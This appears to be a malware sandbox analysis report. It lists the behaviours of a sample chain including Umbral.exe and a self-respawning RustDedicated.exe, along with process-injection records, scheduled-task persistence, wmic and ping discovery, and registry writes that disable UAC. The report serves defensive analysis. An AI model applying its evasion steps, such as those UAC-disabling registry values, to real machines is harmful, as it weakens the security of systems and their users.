Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ыв.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 10 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
924	PING.EXE
2064	cmd.exe
3192	PING.EXE
4360	PING.EXE
8	cmd.exe
1332	PING.EXE
756	cmd.exe
1388	PING.EXE
3124	cmd.exe
4288	cmd.exe

Detects videocard installed 1 TTPs 6 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4420	wmic.exe
2964	wmic.exe
3624	wmic.exe
1728	wmic.exe
3748	wmic.exe
3248	wmic.exe

Modifies registry class 50 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	ыв.exe

Runs ping.exe 1 TTPs 5 IoCs

Remote System Discovery

T1018

pid	Process
4360	PING.EXE
1332	PING.EXE
924	PING.EXE
1388	PING.EXE
3192	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 57 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
400	schtasks.exe
1932	schtasks.exe
4748	schtasks.exe
2872	schtasks.exe
3184	schtasks.exe
3816	schtasks.exe
4052	schtasks.exe
2660	schtasks.exe
3156	schtasks.exe
4764	schtasks.exe
2980	schtasks.exe
4736	schtasks.exe
5004	schtasks.exe
556	schtasks.exe
884	schtasks.exe
1268	schtasks.exe
324	schtasks.exe
2848	schtasks.exe
628	schtasks.exe
2900	schtasks.exe
404	schtasks.exe
3632	schtasks.exe
4268	schtasks.exe
4536	schtasks.exe
1708	schtasks.exe
3704	schtasks.exe
4604	schtasks.exe
4768	schtasks.exe
4732	schtasks.exe
1860	schtasks.exe
1904	schtasks.exe
2876	schtasks.exe
5116	schtasks.exe
4092	schtasks.exe
5096	schtasks.exe
4820	schtasks.exe
1392	schtasks.exe
2600	schtasks.exe
1912	schtasks.exe
2332	schtasks.exe
5044	schtasks.exe
4476	schtasks.exe
4264	schtasks.exe
1780	schtasks.exe
4624	schtasks.exe
2568	schtasks.exe
756	schtasks.exe
1864	schtasks.exe
4952	schtasks.exe
2936	schtasks.exe
1444	schtasks.exe
3612	schtasks.exe
1296	schtasks.exe
2040	schtasks.exe
1416	schtasks.exe
3028	schtasks.exe
1424	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4900	Umbral.exe
3828	powershell.exe
3828	powershell.exe
768	powershell.exe
768	powershell.exe
628	powershell.exe
628	powershell.exe
944	powershell.exe
944	powershell.exe
2912	surrogatehost.exe
4528	powershell.exe
4528	powershell.exe
2912	surrogatehost.exe
2912	surrogatehost.exe
2912	surrogatehost.exe
2912	surrogatehost.exe
792	Umbral.exe
792	Umbral.exe
2544	powershell.exe
2544	powershell.exe
2544	powershell.exe
3944	powershell.exe
3944	powershell.exe
3944	powershell.exe
4680	powershell.exe
4680	powershell.exe
4680	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
4748	powershell.exe
4748	powershell.exe
4748	powershell.exe
1464	Umbral.exe
1464	Umbral.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe
2396	powershell.exe
2396	powershell.exe
2396	powershell.exe
4880	powershell.exe
4880	powershell.exe
4880	powershell.exe
3252	powershell.exe
3252	powershell.exe
3252	powershell.exe
3096	powershell.exe
3096	powershell.exe
3096	powershell.exe
3148	Umbral.exe
3148	Umbral.exe
3368	powershell.exe
3368	powershell.exe
3368	powershell.exe
652	powershell.exe
652	powershell.exe
652	powershell.exe
3076	powershell.exe
3076	powershell.exe
3076	powershell.exe
4816	powershell.exe
4816	powershell.exe
4816	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4900	Umbral.exe
Token: SeIncreaseQuotaPrivilege	3236	wmic.exe
Token: SeSecurityPrivilege	3236	wmic.exe
Token: SeTakeOwnershipPrivilege	3236	wmic.exe
Token: SeLoadDriverPrivilege	3236	wmic.exe
Token: SeSystemProfilePrivilege	3236	wmic.exe
Token: SeSystemtimePrivilege	3236	wmic.exe
Token: SeProfSingleProcessPrivilege	3236	wmic.exe
Token: SeIncBasePriorityPrivilege	3236	wmic.exe
Token: SeCreatePagefilePrivilege	3236	wmic.exe
Token: SeBackupPrivilege	3236	wmic.exe
Token: SeRestorePrivilege	3236	wmic.exe
Token: SeShutdownPrivilege	3236	wmic.exe
Token: SeDebugPrivilege	3236	wmic.exe
Token: SeSystemEnvironmentPrivilege	3236	wmic.exe
Token: SeRemoteShutdownPrivilege	3236	wmic.exe
Token: SeUndockPrivilege	3236	wmic.exe
Token: SeManageVolumePrivilege	3236	wmic.exe
Token: 33	3236	wmic.exe
Token: 34	3236	wmic.exe
Token: 35	3236	wmic.exe
Token: 36	3236	wmic.exe
Token: SeIncreaseQuotaPrivilege	3236	wmic.exe
Token: SeSecurityPrivilege	3236	wmic.exe
Token: SeTakeOwnershipPrivilege	3236	wmic.exe
Token: SeLoadDriverPrivilege	3236	wmic.exe
Token: SeSystemProfilePrivilege	3236	wmic.exe
Token: SeSystemtimePrivilege	3236	wmic.exe
Token: SeProfSingleProcessPrivilege	3236	wmic.exe
Token: SeIncBasePriorityPrivilege	3236	wmic.exe
Token: SeCreatePagefilePrivilege	3236	wmic.exe
Token: SeBackupPrivilege	3236	wmic.exe
Token: SeRestorePrivilege	3236	wmic.exe
Token: SeShutdownPrivilege	3236	wmic.exe
Token: SeDebugPrivilege	3236	wmic.exe
Token: SeSystemEnvironmentPrivilege	3236	wmic.exe
Token: SeRemoteShutdownPrivilege	3236	wmic.exe
Token: SeUndockPrivilege	3236	wmic.exe
Token: SeManageVolumePrivilege	3236	wmic.exe
Token: 33	3236	wmic.exe
Token: 34	3236	wmic.exe
Token: 35	3236	wmic.exe
Token: 36	3236	wmic.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeDebugPrivilege	768	powershell.exe
Token: SeDebugPrivilege	628	powershell.exe
Token: SeDebugPrivilege	944	powershell.exe
Token: SeIncreaseQuotaPrivilege	4328	wmic.exe
Token: SeSecurityPrivilege	4328	wmic.exe
Token: SeTakeOwnershipPrivilege	4328	wmic.exe
Token: SeLoadDriverPrivilege	4328	wmic.exe
Token: SeSystemProfilePrivilege	4328	wmic.exe
Token: SeSystemtimePrivilege	4328	wmic.exe
Token: SeProfSingleProcessPrivilege	4328	wmic.exe
Token: SeIncBasePriorityPrivilege	4328	wmic.exe
Token: SeCreatePagefilePrivilege	4328	wmic.exe
Token: SeBackupPrivilege	4328	wmic.exe
Token: SeRestorePrivilege	4328	wmic.exe
Token: SeShutdownPrivilege	4328	wmic.exe
Token: SeDebugPrivilege	4328	wmic.exe
Token: SeSystemEnvironmentPrivilege	4328	wmic.exe
Token: SeRemoteShutdownPrivilege	4328	wmic.exe
Token: SeUndockPrivilege	4328	wmic.exe
Token: SeManageVolumePrivilege	4328	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5116 wrote to memory of 1428	5116	RustDedicated.exe	84
PID 5116 wrote to memory of 1428	5116	RustDedicated.exe	84
PID 5116 wrote to memory of 1472	5116	RustDedicated.exe	85
PID 5116 wrote to memory of 1472	5116	RustDedicated.exe	85
PID 1428 wrote to memory of 1964	1428	RustDedicated.exe	86
PID 1428 wrote to memory of 1964	1428	RustDedicated.exe	86
PID 1428 wrote to memory of 2140	1428	RustDedicated.exe	87
PID 1428 wrote to memory of 2140	1428	RustDedicated.exe	87
PID 1472 wrote to memory of 4900	1472	fixermachine.exe	88
PID 1472 wrote to memory of 4900	1472	fixermachine.exe	88
PID 1472 wrote to memory of 4480	1472	fixermachine.exe	89
PID 1472 wrote to memory of 4480	1472	fixermachine.exe	89
PID 4900 wrote to memory of 3236	4900	Umbral.exe	90
PID 4900 wrote to memory of 3236	4900	Umbral.exe	90
PID 1964 wrote to memory of 4680	1964	RustDedicated.exe	93
PID 1964 wrote to memory of 4680	1964	RustDedicated.exe	93
PID 2140 wrote to memory of 2208	2140	fixermachine.exe	94
PID 2140 wrote to memory of 2208	2140	fixermachine.exe	94
PID 1964 wrote to memory of 640	1964	RustDedicated.exe	95
PID 1964 wrote to memory of 640	1964	RustDedicated.exe	95
PID 2140 wrote to memory of 884	2140	fixermachine.exe	96
PID 2140 wrote to memory of 884	2140	fixermachine.exe	96
PID 4900 wrote to memory of 620	4900	Umbral.exe	97
PID 4900 wrote to memory of 620	4900	Umbral.exe	97
PID 4900 wrote to memory of 3828	4900	Umbral.exe	99
PID 4900 wrote to memory of 3828	4900	Umbral.exe	99
PID 4480 wrote to memory of 4784	4480	fix.exe	100
PID 4480 wrote to memory of 4784	4480	fix.exe	100
PID 4480 wrote to memory of 4784	4480	fix.exe	100
PID 4900 wrote to memory of 768	4900	Umbral.exe	102
PID 4900 wrote to memory of 768	4900	Umbral.exe	102
PID 4784 wrote to memory of 1524	4784	ыв.exe	104
PID 4784 wrote to memory of 1524	4784	ыв.exe	104
PID 4784 wrote to memory of 1524	4784	ыв.exe	104
PID 4900 wrote to memory of 628	4900	Umbral.exe	105
PID 4900 wrote to memory of 628	4900	Umbral.exe	105
PID 4900 wrote to memory of 944	4900	Umbral.exe	107
PID 4900 wrote to memory of 944	4900	Umbral.exe	107
PID 4680 wrote to memory of 4648	4680	RustDedicated.exe	111
PID 4680 wrote to memory of 4648	4680	RustDedicated.exe	111
PID 4680 wrote to memory of 728	4680	RustDedicated.exe	112
PID 4680 wrote to memory of 728	4680	RustDedicated.exe	112
PID 884 wrote to memory of 740	884	fix.exe	113
PID 884 wrote to memory of 740	884	fix.exe	113
PID 884 wrote to memory of 740	884	fix.exe	113
PID 640 wrote to memory of 60	640	fixermachine.exe	114
PID 640 wrote to memory of 60	640	fixermachine.exe	114
PID 740 wrote to memory of 2832	740	ыв.exe	115
PID 740 wrote to memory of 2832	740	ыв.exe	115
PID 740 wrote to memory of 2832	740	ыв.exe	115
PID 640 wrote to memory of 3356	640	fixermachine.exe	116
PID 640 wrote to memory of 3356	640	fixermachine.exe	116
PID 4900 wrote to memory of 4328	4900	Umbral.exe	118
PID 4900 wrote to memory of 4328	4900	Umbral.exe	118
PID 4900 wrote to memory of 3344	4900	Umbral.exe	120
PID 4900 wrote to memory of 3344	4900	Umbral.exe	120
PID 4648 wrote to memory of 448	4648	RustDedicated.exe	122
PID 4648 wrote to memory of 448	4648	RustDedicated.exe	122
PID 4648 wrote to memory of 3948	4648	RustDedicated.exe	123
PID 4648 wrote to memory of 3948	4648	RustDedicated.exe	123
PID 1524 wrote to memory of 1928	1524	WScript.exe	124
PID 1524 wrote to memory of 1928	1524	WScript.exe	124
PID 1524 wrote to memory of 1928	1524	WScript.exe	124
PID 4900 wrote to memory of 2508	4900	Umbral.exe	126

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	surrogatehost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	surrogatehost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	surrogatehost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 6 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
620	attrib.exe
944	attrib.exe
1388	attrib.exe
1744	attrib.exe
3568	attrib.exe
1992	attrib.exe

C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
"C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5116
- C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
  "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1428
- - C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
    "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1964
  - - C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
      "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4680
    - - C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4648
      - C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        6⤵
        
        PID:448
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        7⤵
        
        PID:4624
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        8⤵
        
        PID:784
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        9⤵
        
        PID:2312
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        10⤵
        Checks computer location settings
        
        PID:2692
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        11⤵
        
        PID:3588
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        12⤵
        
        PID:2208
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        13⤵
        
        PID:2256
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        14⤵
        
        PID:2084
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        15⤵
        
        PID:3508
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        16⤵
        
        PID:3728
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        17⤵
        Checks computer location settings
        
        PID:4420
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        18⤵
        Checks computer location settings
        
        PID:1388
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        19⤵
        
        PID:2064
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        20⤵
        
        PID:3036
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        21⤵
        
        PID:1528
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        22⤵
        
        PID:4316
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        23⤵
        
        PID:4844
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        24⤵
        
        PID:2208
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        25⤵
        
        PID:652
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        26⤵
        
        PID:4984
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        27⤵
        Checks computer location settings
        
        PID:2260
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        28⤵
        
        PID:4972
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        29⤵
        
        PID:2924
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        30⤵
        Checks computer location settings
        
        PID:228
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        31⤵
        
        PID:4836
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        32⤵
        
        PID:4164
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        33⤵
        Checks computer location settings
        
        PID:4700
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        34⤵
        
        PID:840
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        35⤵
        
        PID:880
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        36⤵
        
        PID:4396
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        37⤵
        Checks computer location settings
        
        PID:1996
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        38⤵
        Checks computer location settings
        
        PID:3624
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        39⤵
        
        PID:1608
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        40⤵
        
        PID:3620
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        41⤵
        
        PID:1708
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        42⤵
        Checks computer location settings
        
        PID:208
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        43⤵
        Checks computer location settings
        
        PID:2144
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        44⤵
        
        PID:3952
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        45⤵
        
        PID:2664
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        46⤵
        Checks computer location settings
        
        PID:1964
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        47⤵
        
        PID:3616
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        48⤵
        
        PID:3404
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        49⤵
        
        PID:2396
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        50⤵
        
        PID:4520
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        51⤵
        
        PID:1308
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        52⤵
        
        PID:3008
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        53⤵
        
        PID:1912
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        54⤵
        
        PID:2716
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        55⤵
        
        PID:1428
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        56⤵
        
        PID:1816
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        57⤵
        
        PID:752
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        58⤵
        
        PID:4716
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        59⤵
        
        PID:3188
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        60⤵
        
        PID:4672
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        61⤵
        
        PID:3040
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        62⤵
        
        PID:4928
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        63⤵
        
        PID:4672
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        64⤵
        
        PID:3868
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        65⤵
        
        PID:4908
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        66⤵
        
        PID:3656
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        67⤵
        
        PID:3972
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        68⤵
        
        PID:2416
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        69⤵
        
        PID:884
        
        C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RustDedicated.exe"
        70⤵
        
        PID:1560
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
